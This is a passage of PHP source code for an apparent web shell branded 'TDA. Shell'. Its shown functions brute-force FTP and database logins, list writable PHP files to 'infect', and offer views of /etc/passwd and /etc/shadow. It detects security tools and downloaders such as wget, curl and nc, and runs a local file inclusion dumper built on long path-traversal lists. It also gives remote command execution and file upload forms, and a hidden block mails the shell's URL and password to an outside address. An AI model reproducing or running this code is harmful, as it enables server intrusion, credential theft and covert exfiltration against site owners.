669echo "<h3><div class='result'><i><font style='color:White;font-family:Iceland;text-shadow:blue 0px 0px 5px'>ERROR</font><br><font style='color:White;font-family:Iceland;text-shadow:blue 0px 0px 5px'>/var/named</font> or <font style='color:White;font-family:Iceland;text-shadow:blue 0px 0px 5px'>etc/named.conf</font> Not Accessible!</i></div></h3>";
670echo "<h3><div class='result'><i><font style='color:White;font-family:Iceland;text-shadow:blue 0px 0px 5px'>D34Ds </font></h3>";
671
672}
673 printFooter();
674 }
675
676function actionBruteforce() {
677 printHeader();
678 if( isset($_POST['proto']) ) {
679 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
680 if( $_POST['proto'] == 'ftp' ) {
681 function bruteForce($ip,$port,$login,$pass) {
682 $fp = @ftp_connect($ip, $port?$port:21);
683 if(!$fp) return false;
684 $res = @ftp_login($fp, $login, $pass);
685 @ftp_close($fp);
686 return $res;
687 }
688 } elseif( $_POST['proto'] == 'mysql' ) {
689 function bruteForce($ip,$port,$login,$pass) {
690 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
691 @mysql_close($res);
692 return $res;
693 }
694 } elseif( $_POST['proto'] == 'pgsql' ) {
695 function bruteForce($ip,$port,$login,$pass) {
696 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
697 $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
698 @pg_close($res);
699 return $res;
700 }
701 }
702 $success = 0;
703 $attempts = 0;
704 $server = explode(":", $_POST['server']);
705 if($_POST['type'] == 1) {
706 $temp = @file('/etc/passwd');
707 if( is_array($temp) )
708 foreach($temp as $line) {
709 $line = explode(":", $line);
710 ++$attempts;
711 if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
712 $success++;
713 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
714 }
715 if(@$_POST['reverse']) {
716 $tmp = "";
717 for($i=strlen($line[0])-1; $i>=0; --$i)
718 $tmp .= $line[0][$i];
719 ++$attempts;
720 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
721 $success++;
722 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
723 }
724 }
725 }
726 } elseif($_POST['type'] == 2) {
727 $temp = @file($_POST['dict']);
728 if( is_array($temp) )
729 foreach($temp as $line) {
730 $line = trim($line);
731 ++$attempts;
732 if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
733 $success++;
734 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
735 }
736 }
737 }
738 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
739 }
740 echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
741 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
742 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
743 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
744 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
745 .'<span>Server:port</span></td>'
746 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
747 .'<tr><td><span>Brute type</span></td>'
748 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
749 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> LulzSec)</label></td></tr>'
750 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
751 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
752 .'<td><input type=text name=login value="LulzSec"></td></tr>'
753 .'<tr><td><span>Dictionary</span></td>'
754 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
755 .'</td></tr><tr><td></td><td><input type=submit value="Do it Lulz"></td></tr></form></table>';
756 echo '</div><br>';
757 printFooter();
758}
759
760
761function actionInfect() {
762 printHeader();
763 echo '<h1>Infect</h1><div class=content>';
764 if ($_POST['p1'] == 'infect') {
765 $target = $_SERVER['DOCUMENT_ROOT'];
766 function ListFiles($dir) {
767 if ($dh = opendir($dir)) {
768 $files = Array();
769 $inner_files = Array();
770 while ($file = readdir($dh)) {
771 if ($file != "." && $file != "..") {
772 if (is_dir($dir . "/" . $file)) {
773 $inner_files = ListFiles($dir . "/" . $file);
774 if (is_array($inner_files)) $files = array_merge($files, $inner_files);
775 } else {
776 array_push($files, $dir . "/" . $file);
777 }
778 }
779 }
780 closedir($dh);
781 return $files;
782 }
783 }
784 foreach (ListFiles($target) as $key => $file) {
785 $nFile = substr($file, -4, 4);
786 if ($nFile == ".php") {
787 if (($file <> $_SERVER['DOCUMENT_ROOT'] . $_SERVER['PHP_SELF']) && (is_writeable($file))) {
788 echo "$file<br>";
789 $i++;
790 }
791 }
792 }
793 echo "<font color=red size=14>$i</font>";
794 } else {
795 echo "<form method=post><input type=submit value=Infect name=infet></form>";
796 echo 'Really want to infect the server? <a href=# onclick="g(null,null,\'infect\')">Yes</a></div>';
797 }
798 printFooter();
799 }
800
801
802
803function printFooter() {
804 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=aqua>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
805echo '</div><div style="margin:1px;background:#000;"><div class="content" style="border-top:1px #56A3E9;">
806<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
807 <tr>
808 <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="'.htmlspecialchars($GLOBALS['cwd']).'"><input type=submit value=">>"></form></td>
809 <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
810 </tr>
811 <tr>
812 <td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>'.$is_writable.'</td>
813 <td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
814 </tr>
815 <tr>
816 <td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
817 <td><form method="post" ENCTYPE="multipart/form-data">
818 <input type=hidden name=a value="FilesMAn">
819 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
820 <input type=hidden name=p1 value="uploadFile">
821 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
822 <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
823 </tr>
824</table></div></div>
825<div style="margin:5px;background:#000;"><div class="content" style="border-top:1px #56A3E9;text-align:center;font-weight:bold;"><font color="#2052ff">TDA. Shell '.VERSION.'<br>WE ARE: <marquee width="50%"> D34Ds </marquee></font></div></div>
826</div>
827</body></html>';
828}
829if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
830if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
831
832if(!isset($_SESSION['trimite'])){
833 $url=" IP: ".gethostbyname($_SERVER["HTTP_HOST"]);
834 $to="popanda1337@gmail.com";
835$subject = "Shell 4.0 Uploaded";
836$header = "from: New Shell";
837$message = " link : http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']."\r\n";
838"User IP: ".$_SERVER['REMOTE_ADDR'].(isset($_SERVER['HTTP_X_FORWARDED_FOR'])?'('.$_SERVER['HTTP_X_FORWARDED_FOR'].')':'');
839
840$message.="Path :"._file_;
841$message.="Pass :".$auth_pass;
842$sentmail = @mail($to,$subject,$message,$header);
843
844
845
846}
847function viewSize($s) {
848 if($s >= 1073741824)
849 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
850 elseif($s >= 1048576)
851 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
852 elseif($s >= 1024)
853 return sprintf('%1.2f', $s / 1024 ) . ' KB';
854 else
855 return $s . ' B';
856}
857function perms($p) {
858 if (($p & 0xC000) == 0xC000)$i = 's';
859 elseif (($p & 0xA000) == 0xA000)$i = 'l';
860 elseif (($p & 0x8000) == 0x8000)$i = '-';
861 elseif (($p & 0x6000) == 0x6000)$i = 'b';
862 elseif (($p & 0x4000) == 0x4000)$i = 'd';
863 elseif (($p & 0x2000) == 0x2000)$i = 'c';
864 elseif (($p & 0x1000) == 0x1000)$i = 'p';
865 else $i = 'u';
866 $i .= (($p & 0x0100) ? 'r' : '-');
867 $i .= (($p & 0x0080) ? 'w' : '-');
868 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
869 $i .= (($p & 0x0020) ? 'r' : '-');
870 $i .= (($p & 0x0010) ? 'w' : '-');
871 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
872 $i .= (($p & 0x0004) ? 'r' : '-');
873 $i .= (($p & 0x0002) ? 'w' : '-');
874 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
875 return $i;
876}
877function viewPermsColor($f) {
878 if (!@is_readable($f))
879 return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
880 elseif (!@is_writable($f))
881 return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
882 else
883 return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
884}
885if(!function_exists("scandir")) {
886 function scandir($dir) {
887 $dh = opendir($dir);
888 while (false !== ($filename = readdir($dh))) {
889 $files[] = $filename;
890 }
891 return $files;
892 }
893}
894function actionSecInfo() {
895 printHeader();
896 echo ' <span style="color:White;font-family:Iceland;text-shadow:red 0px 0px 10px" "font-size: 50pt;"> <h1>Server Information </h1><h1> Th3 D34Ds </h1><div class=content>';
897 function showSecParam($n, $v) {
898 $v = trim($v);
899 if($v) {
900 echo '<span>'.$n.': </span>';
901 if(strpos($v, "\n") === false)
902 echo $v.'<br>';
903 else
904 echo '<pre class=ml1>'.$v.'</pre>';
905 }
906 }
907 showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
908 showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
909 showSecParam('Open base dir', @ini_get('open_basedir'));
910 showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
911 showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
912 showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
913 $temp=array();
914 if(function_exists('mysql_get_client_info'))
915 $temp[] = "MySql (".mysql_get_client_info().")";
916 if(function_exists('mssql_connect'))
917 $temp[] = "MSSQL";
918 if(function_exists('pg_connect'))
919 $temp[] = "PostgreSQL";
920 if(function_exists('oci_connect'))
921 $temp[] = "Oracle";
922 showSecParam('Supported databases', implode(', ', $temp));
923 echo '<br>';
924 if( $GLOBALS['os'] == 'nix' ) {
925 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
926 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
927 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
928 showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
929 showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
930 showSecParam('OS version', @file_get_contents('/proc/version'));
931 showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
932 if(!$GLOBALS['safe_mode']) {
933 echo '<br>';
934 $temp=array();
935 foreach ($userful as $item)
936 if(which($item)){$temp[]=$item;}
937 showSecParam('Userful', implode(', ',$temp));
938 $temp=array();
939 foreach ($danger as $item)
940 if(which($item)){$temp[]=$item;}
941 showSecParam('Danger', implode(', ',$temp));
942 $temp=array();
943 foreach ($downloaders as $item)
944 if(which($item)){$temp[]=$item;}
945 showSecParam('Downloaders', implode(', ',$temp));
946 echo '<br/>';
947 showSecParam('Hosts', @file_get_contents('/etc/hosts'));
948 showSecParam('HDD space', ex('df -h'));
949 showSecParam('Mount options', @file_get_contents('/etc/fstab'));
950 }
951 } else {
952 showSecParam('OS Version',ex('ver'));
953 showSecParam('Account Settings',ex('net accounts'));
954 showSecParam('User Accounts',ex('net user'));
955 }
956 echo '</div>';
957 printFooter();
958}
959
960function actionlfiscan() {
961 printHeader();
962 print '
963 <h3>LFI File Dumper</h3>
964
965 <form method="post" action="?"><input type="hidden" name="a" value="lfiscan">
966 LFI URL: <input type="text" size="60" name="lfiurl" value=""> <input type="submit" value="Go"> File: <select name="scantype">
967 <option value="1">
968 Access Log
969 </option>
970
971 <option value="2">
972 httpd.conf
973 </option>
974
975 <option value="3">
976 Error Log
977 </option>
978 <option value="4">
979 php.ini
980 </option>
981 <option value="5">
982 MySQL
983 </option>
984 <option value="6">
985 FTP
986 </option>
987 <option value="7">
988 Environ
989 </option>
990 </select> Null: <select name="null">
991 <option value="%00">
992 Yes
993 <option value="">
994 No
995 </option>
996 </select> User-Agent: <input type="text" size="20" name="custom_header" value="">
997 </form>';
998 error_reporting(0);
999 if($_POST['lfiurl']) {
1000 print "<pre>";
1001 $cheader = $_POST['custom_header'];
1002 $target = $_POST['lfiurl'];
1003 $type = $_POST['scantype'];
1004 $byte1 = $_POST['null'];
1005 $lfitest = "../../../../../../../../../../../../../../etc/passwd".$byte1."";
1006 $lfitest2 = "../../../../../../../../../../../../../../fake/file".$byte1."";
1007 $lfiprocenv = "../../../../../../../../../../../../../../proc/environ".$byte1."";
1008 $lfiaccess = array(
1009 1 => "../../../../../../../../../../../../../../apache/logs/access.log".$byte1."",
1010 2 => "../../../../../../../../../../../../../../etc/httpd/logs/acces_log".$byte1."",
1011 3 => "../../../../../../../../../../../../../../etc/httpd/logs/acces.log".$byte1."",
1012 4 => "../../../../../../../../../../../../../../var/www/logs/access_log".$byte1."",
1013 5 => "../../../../../../../../../../../../../../var/www/logs/access.log".$byte1."",
1014 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/access_log".$byte1."",
1015 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/access.log".$byte1."",
1016 8 => "../../../../../../../../../../../../../../var/log/apache/access_log".$byte1."",
1017 9 => "../../../../../../../../../../../../../../var/log/apache2/access_log".$byte1."",
1018 10 => "../../../../../../../../../../../../../../var/log/apache/access.log".$byte1."",
1019 11 => "../../../../../../../../../../../../../../var/log/apache2/access.log".$byte1."",
1020 12 => "../../../../../../../../../../../../../../var/log/access_log".$byte1."",
1021 13 => "../../../../../../../../../../../../../../var/log/access.log".$byte1."",
1022 14 => "../../../../../../../../../../../../../../var/log/httpd/access_log".$byte1."",
1023 15 => "../../../../../../../../../../../../../../apache2/logs/access.log".$byte1."",
1024 16 => "../../../../../../../../../../../../../../logs/access.log".$byte1."",
1025 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access_log".$byte1."",
1026 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access.log".$byte1."",
1027 19 => "../../../../../../../../../../../../../../var/log/httpd/access.log".$byte1."",
1028 20 => "../../../../../../../../../../../../../../opt/lampp/logs/access_log".$byte1."",
1029 21 => "../../../../../../../../../../../../../../opt/xampp/logs/access_log".$byte1."",
1030 22 => "../../../../../../../../../../../../../../opt/lampp/logs/access.log".$byte1."",
1031 23 => "../../../../../../../../../../../../../../opt/xampp/logs/access.log".$byte1."");
1032
1033 $lfierror = array(
1034 1 => "../../../../../../../../../../../../../../apache/logs/error.log".$byte1."",
1035 2 => "../../../../../../../../../../../../../../etc/httpd/logs/error_log".$byte1."",
1036 3 => "../../../../../../../../../../../../../../etc/httpd/logs/error.log".$byte1."",
1037 4 => "../../../../../../../../../../../../../../var/www/logs/error_log".$byte1."",
1038 5 => "../../../../../../../../../../../../../../var/www/logs/error.log".$byte1."",
1039 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/error_log".$byte1."",
1040 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/error.log".$byte1."",
1041 8 => "../../../../../../../../../../../../../../var/log/apache/error_log".$byte1."",
1042 9 => "../../../../../../../../../../../../../../var/log/apache2/error_log".$byte1."",
1043 10 => "../../../../../../../../../../../../../../var/log/apache/error.log".$byte1."",
1044 11 => "../../../../../../../../../../../../../../var/log/apache2/error.log".$byte1."",
1045 12 => "../../../../../../../../../../../../../../var/log/error_log".$byte1."",
1046 13 => "../../../../../../../../../../../../../../var/log/error.log".$byte1."",
1047 14 => "../../../../../../../../../../../../../../var/log/httpd/error_log".$byte1."",
1048 15 => "../../../../../../../../../../../../../../apache2/logs/error.log".$byte1."",
1049 16 => "../../../../../../../../../../../../../../logs/error.log".$byte1."",
1050 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error_log".$byte1."",
1051 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error.log".$byte1."",
1052 19 => "../../../../../../../../../../../../../../var/log/httpd/error.log".$byte1."",
1053 20 => "../../../../../../../../../../../../../../opt/lampp/logs/error_log".$byte1."",
1054 21 => "../../../../../../../../../../../../../../opt/xampp/logs/error_log".$byte1."",
1055 22 => "../../../../../../../../../../../../../../opt/lampp/logs/error.log".$byte1."",
1056 23 => "../../../../../../../../../../../../../../opt/xampp/logs/error.log".$byte1."");
1057
1058 $lficonfig = array(
1059 1 => "../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf".$byte1."",
1060 2 => "../../../../../../../../../../../../../../../usr/local/apache2/conf/httpd.conf".$byte1."",
1061 3 => "../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf".$byte1."",
1062 4 => "../../../../../../../../../../../../../../../etc/apache/conf/httpd.conf".$byte1."",
1063 5 => "../../../../../../../../../../../../../../../usr/local/etc/apache/conf/httpd.conf".$byte1."",
1064 6 => "../../../../../../../../../../../../../../../etc/apache2/httpd.conf".$byte1."",
1065 7 => "../../../../../../../../../../../../../../../usr/local/apache/httpd.conf".$byte1."",
1066 8 => "../../../../../../../../../../../../../../../usr/local/apache2/httpd.conf".$byte1."",
1067 9 => "../../../../../../../../../../../../../../../usr/local/httpd/conf/httpd.conf".$byte1."",
1068 10 => "../../../../../../../../../../../../../../../usr/local/etc/apache2/conf/httpd.conf".$byte1."",
1069 11 => "../../../../../../../../../../../../../../../usr/local/etc/httpd/conf/httpd.conf".$byte1."",
1070 12 => "../../../../../../../../../../../../../../../usr/apache2/conf/httpd.conf".$byte1."",
1071 13 => "../../../../../../../../../../../../../../../usr/apache/conf/httpd.conf".$byte1."",
1072 14 => "../../../../../../../../../../../../../../../usr/local/apps/apache2/conf/httpd.conf".$byte1."",
1073 15 => "../../../../../../../../../../../../../../../usr/local/apps/apache/conf/httpd.conf".$byte1."",
1074 16 => "../../../../../../../../../../../../../../../etc/apache2/conf/httpd.conf".$byte1."",
1075 17 => "../../../../../../../../../../../../../../../etc/http/conf/httpd.conf".$byte1."",
1076 18 => "../../../../../../../../../../../../../../../etc/httpd/httpd.conf".$byte1."",
1077 19 => "../../../../../../../../../../../../../../../etc/http/httpd.conf".$byte1."",
1078 20 => "../../../../../../../../../../../../../../../etc/httpd.conf".$byte1."",
1079 21 => "../../../../../../../../../../../../../../../opt/apache/conf/httpd.conf".$byte1."",
1080 22 => "../../../../../../../../../../../../../../../opt/apache2/conf/httpd.conf".$byte1."",
1081 23 => "../../../../../../../../../../../../../../../var/www/conf/httpd.conf".$byte1."",
1082 24 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf".$byte1."",
1083 25 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf.default".$byte1."",
1084 26 => "../../../../../../../../../../../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf".$byte1."",
1085 27 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf".$byte1."",
1086 28 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf.default".$byte1."",
1087 29 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf.php".$byte1."",
1088 30 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf.php".$byte1."",
1089 31 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf.php".$byte1."",
1090 32 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf".$byte1."",
1091 33 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf".$byte1."",
1092 34 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf".$byte1."",
1093 35 => "../../../../../../../../../../../../../../../usr/local/etc/apache/vhosts.conf".$byte1."");
1094
1095 $lfiphpini = array(
1096 1 => "../../../../../../../../../../../../../../../etc/php.ini".$byte1."",
1097 2 => "../../../../../../../../../../../../../../../bin/php.ini".$byte1."",
1098 3 => "../../../../../../../../../../../../../../../etc/httpd/php.ini".$byte1."",
1099 4 => "../../../../../../../../../../../../../../../usr/lib/php.ini".$byte1."",
1100 5 => "../../../../../../../../../../../../../../../usr/lib/php/php.ini".$byte1."",
1101 6 => "../../../../../../../../../../../../../../../usr/local/etc/php.ini".$byte1."",
1102 7 => "../../../../../../../../../../../../../../../usr/local/lib/php.ini".$byte1."",
1103 8 => "../../../../../../../../../../../../../../../usr/local/php/lib/php.ini".$byte1."",
1104 9 => "../../../../../../../../../../../../../../../usr/local/php4/lib/php.ini".$byte1."",
1105 10 => "../../../../../../../../../../../../../../../usr/local/php5/lib/php.ini".$byte1."",
1106 11 => "../../../../../../../../../../../../../../../usr/local/apache/conf/php.ini".$byte1."",
1107 12 => "../../../../../../../../../../../../../../../etc/php4.4/fcgi/php.ini".$byte1."",
1108 13 => "../../../../../../../../../../../../../../../etc/php4/apache/php.ini".$byte1."",
1109 14 => "../../../../../../../../../../../../../../../etc/php4/apache2/php.ini".$byte1."",
1110 15 => "../../../../../../../../../../../../../../../etc/php5/apache/php.ini".$byte1."",
1111 16 => "../../../../../../../../../../../../../../../etc/php5/apache2/php.ini".$byte1."",
1112 17 => "../../../../../../../../../../../../../../../etc/php/php.ini".$byte1."",
1113 18 => "../../../../../../../../../../../../../../../etc/php/php4/php.ini".$byte1."",
1114 19 => "../../../../../../../../../../../../../../../etc/php/apache/php.ini".$byte1."",
1115 20 => "../../../../../../../../../../../../../../../etc/php/apache2/php.ini".$byte1."",
1116 21 => "../../../../../../../../../../../../../../../web/conf/php.ini".$byte1."",
1117 22 => "../../../../../../../../../../../../../../../usr/local/Zend/etc/php.ini".$byte1."",
1118 23 => "../../../../../../../../../../../../../../../opt/xampp/etc/php.ini".$byte1."",
1119 24 => "../../../../../../../../../../../../../../../var/local/www/conf/php.ini".$byte1."",
1120 25 => "../../../../../../../../../../../../../../../etc/php/cgi/php.ini".$byte1."",
1121 26 => "../../../../../../../../../../../../../../../etc/php4/cgi/php.ini".$byte1."",
1122 27 => "../../../../../../../../../../../../../../../etc/php5/cgi/php.ini".$byte1."");
1123
1124 $lfimysql = array(
1125 1 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-bin.log".$byte1."",
1126 2 => "../../../../../../../../../../../../../../../var/log/mysql.log".$byte1."",
1127 3 => "../../../../../../../../../../../../../../../var/log/mysqlderror.log".$byte1."",
1128 4 => "../../../../../../../../../../../../../../../var/log/mysql/mysql.log".$byte1."",
1129 5 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-slow.log".$byte1."",
1130 6 => "../../../../../../../../../../../../../../../var/mysql.log".$byte1."",
1131 7 => "../../../../../../../../../../../../../../../var/lib/mysql/my.cnf".$byte1."",
1132 8 => "../../../../../../../../../../../../../../../etc/mysql/my.cnf".$byte1."",
1133 9 => "../../../../../../../../../../../../../../../var/log/mysqld.log".$byte1."",
1134 10 => "../../../../../../../../../../../../../../../etc/my.cnf".$byte1."");
1135
1136 $lfiftp = array(
1137 1 => "../../../../../../../../../../../../../../../etc/logrotate.d/proftpd".$byte1."",
1138 2 => "../../../../../../../../../../../../../../../www/logs/proftpd.system.log".$byte1."",
1139 3 => "../../../../../../../../../../../../../../../var/log/proftpd".$byte1."",
1140 4 => "../../../../../../../../../../../../../../../etc/proftp.conf".$byte1."",
1141 5 => "../../../../../../../../../../../../../../../etc/protpd/proftpd.conf".$byte1."",
1142 6 => "../../../../../../../../../../../../../../../etc/vhcs2/proftpd/proftpd.conf".$byte1."",
1143 7 => "../../../../../../../../../../../../../../../etc/proftpd/modules.conf".$byte1."",
1144 8 => "../../../../../../../../../../../../../../../var/log/vsftpd.log".$byte1."",
1145 9 => "../../../../../../../../../../../../../../../etc/vsftpd.chroot_list".$byte1."",
1146 10 => "../../../../../../../../../../../../../../../etc/logrotate.d/vsftpd.log".$byte1."",
1147 11 => "../../../../../../../../../../../../../../../etc/vsftpd/vsftpd.conf".$byte1."",
1148 12 => "../../../../../../../../../../../../../../../etc/vsftpd.conf".$byte1."",
1149 13 => "../../../../../../../../../../../../../../../etc/chrootUsers".$byte1."",
1150 14 => "../../../../../../../../../../../../../../../var/log/xferlog".$byte1."",
1151 15 => "../../../../../../../../../../../../../../../var/adm/log/xferlog".$byte1."",
1152 16 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpaccess".$byte1."",
1153 17 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftphosts".$byte1."",
1154 18 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpusers".$byte1."",
1155 19 => "../../../../../../../../../../../../../../../usr/sbin/pure-config.pl".$byte1."",
1156 20 => "../../../../../../../../../../../../../../../usr/etc/pure-ftpd.conf".$byte1."",
1157 21 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.conf".$byte1."",
1158 22 => "../../../../../../../../../../../../../../../usr/local/etc/pure-ftpd.conf".$byte1."",
1159 23 => "../../../../../../../../../../../../../../../usr/local/etc/pureftpd.pdb".$byte1."",
1160 24 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pureftpd.pdb".$byte1."",
1161 25 => "../../../../../../../../../../../../../../../usr/local/pureftpd/sbin/pure-config.pl".$byte1."",
1162 26 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf".$byte1."",
1163 27 => "../../../../../../../../../../../../../../../etc/pure-ftpd.conf".$byte1."",
1164 28 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.pdb".$byte1."",
1165 29 => "../../../../../../../../../../../../../../../etc/pureftpd.pdb".$byte1."",
1166 30 => "../../../../../../../../../../../../../../../etc/pureftpd.passwd".$byte1."",
1167 31 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pureftpd.pdb".$byte1."",
1168 32 => "../../../../../../../../../../../../../../../usr/ports/ftp/pure-ftpd/".$byte1."",
1169 33 => "../../../../../../../../../../../../../../../usr/ports/net/pure-ftpd/".$byte1."",
1170 34 => "../../../../../../../../../../../../../../../usr/pkgsrc/net/pureftpd/".$byte1."",
1171 35 => "../../../../../../../../../../../../../../../usr/ports/contrib/pure-ftpd/".$byte1."",
1172 36 => "../../../../../../../../../../../../../../../var/log/pure-ftpd/pure-ftpd.log".$byte1."",
1173 37 => "../../../../../../../../../../../../../../../logs/pure-ftpd.log".$byte1."",
1174 38 => "../../../../../../../../../../../../../../../var/log/pureftpd.log".$byte1."",
1175 39 => "../../../../../../../../../../../../../../../var/log/ftp-proxy/ftp-proxy.log".$byte1."",
1176 40 => "../../../../../../../../../../../../../../../var/log/ftp-proxy".$byte1."",
1177 41 => "../../../../../../../../../../../../../../../var/log/ftplog".$byte1."",
1178 42 => "../../../../../../../../../../../../../../../etc/logrotate.d/ftp".$byte1."",
1179 43 => "../../../../../../../../../../../../../../../etc/ftpchroot".$byte1."",
1180 44 => "../../../../../../../../../../../../../../../etc/ftphosts".$byte1."");
1181
1182
1183 $x = 1;
1184 if ( $type == 1 ) {
1185 $res1 = FetchURL($target.$lfitest);
1186 $res2 = FetchURL($target.$lfitest2);
1187 $rhash1 = md5($res1);
1188 $rhash2 = md5($res2);
1189 if ($rhash1 != $rhash2) {
1190 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
1191 while($lfiaccess[$x]) {
1192 $res3 = FetchURL($target.$lfiaccess[$x]);
1193 $rhash3 = md5($res3);
1194 if ($rhash3 != $rhash2) {
1195 print "<font color='#7115e7'>[+] File Detected</font> <a href=\"".$target."".$lfiaccess[$x]."\">".$target."".$lfiaccess[$x]."</a><br />";
1196 }
1197 else {
1198 print "<font color='#e71515'>[!] Failed!</font>".$target."".$lfiaccess[$x]."<br />";
1199 }
1200 $x++;
1201 }
1202 }
1203 }
1204 if ( $type == 2 ) {
1205 $res1 = FetchURL($target.$lfitest);
1206 $res2 = FetchURL($target.$lfitest2);
1207 $rhash1 = md5($res1);
